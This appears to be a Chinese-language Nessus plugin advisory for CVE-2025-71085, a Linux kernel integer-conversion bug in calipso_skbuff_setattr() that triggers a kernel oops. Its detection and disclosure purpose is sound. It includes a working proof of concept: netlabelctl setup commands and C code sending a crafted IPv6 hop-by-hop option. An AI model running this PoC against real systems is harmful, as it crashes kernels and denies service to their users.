Linux/Unix 主机中安装的一个或多个程序包受到一个漏洞影响，而供应商没有提供补丁程序。

  - ipv6作为 calipso_skbuff_setattr() 一部分的 pskb_expand_head() 中存在 BUG() 存在一个由 pskb_expand_head() 中 net/core/skbuff.c:2232 中的 BUG_ON(nhead < 0) 造成的内核 oops。当向 skb_cow() 传递余量 > INT_MAX即 (int)(skb_headroom(skb) + len_delta) < 0时此缺陷作为 calipso_skbuff_setattr() 例程的一部分触发。造成此缺陷的根本原因是 __skb_cow() 中的隐式整数转换。(headroom > skb_headroom(skb)) 检查的目的是确保 delta = headroom - skb_headroom(skb) 永不为负否则将在 pskb_expand_head() 中触发 BUG_ON。但是，如果 headroom > INT_MAX 且 delta <= -NET_SKB_PAD 则检查通过，delta 变为负值并且 nhead 的负值会传递给 pskb_expand_head()。修复 calipso_skbuff_setattr() 中的触发条件。避免仅使用 skb_cow() 增加余量从而将负的余量大小传递到 calipso_skbuff_setattr() 中的 skb_cow()。PoC
    使用 `netlabelctl` 工具netlabelctl map del default netlabelctl calipso add pass doi:7 netlabelctl map add default address:0::1/128 protocol:calipso,7 然后运行以下 PoC int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP ) // 设置 msghdr int cmsg_size = 2; int cmsg_len = 0x60; struct msghdr msg
    struct sockaddr_in6 dest_addr; struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1, sizeof(struct cmsghdr) + cmsg_len); msg.msg_name = &dest_addr; msg.msg_namelen = sizeof(dest_addr); msg.msg_iov = NULL;
    msg.msg_iovlen = 0; msg.msg_control = cmsg; msg.msg_controllen = cmsg_len; msg.msg_flags = 0; // 设置 sockaddr dest_addr.sin6_family = AF_INET6; dest_addr.sin6_port = htons(31337); dest_addr.sin6_flowinfo = htonl(31337); dest_addr.sin6_addr = in6addr_loopback; dest_addr.sin6_scope_id = 31337; // 设置 cmsghdr cmsg->cmsg_len = cmsg_len; cmsg->cmsg_level = IPPROTO_IPV6; cmsg->cmsg_type = IPV6_HOPOPTS; char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr); hop_hdr[1] = 0x9 //设置跃点大小 - (0x9 + 1) * 8 = 80 sendmsg(fd, &msg, 0); (CVE-2025-71085)

请注意，Nessus 依赖供应商报告的程序包是否存在进行判断。

检测

Linux Distros 未修补的漏洞：CVE-2025-71085

medium Nessus 插件 ID 283656

版本 1.35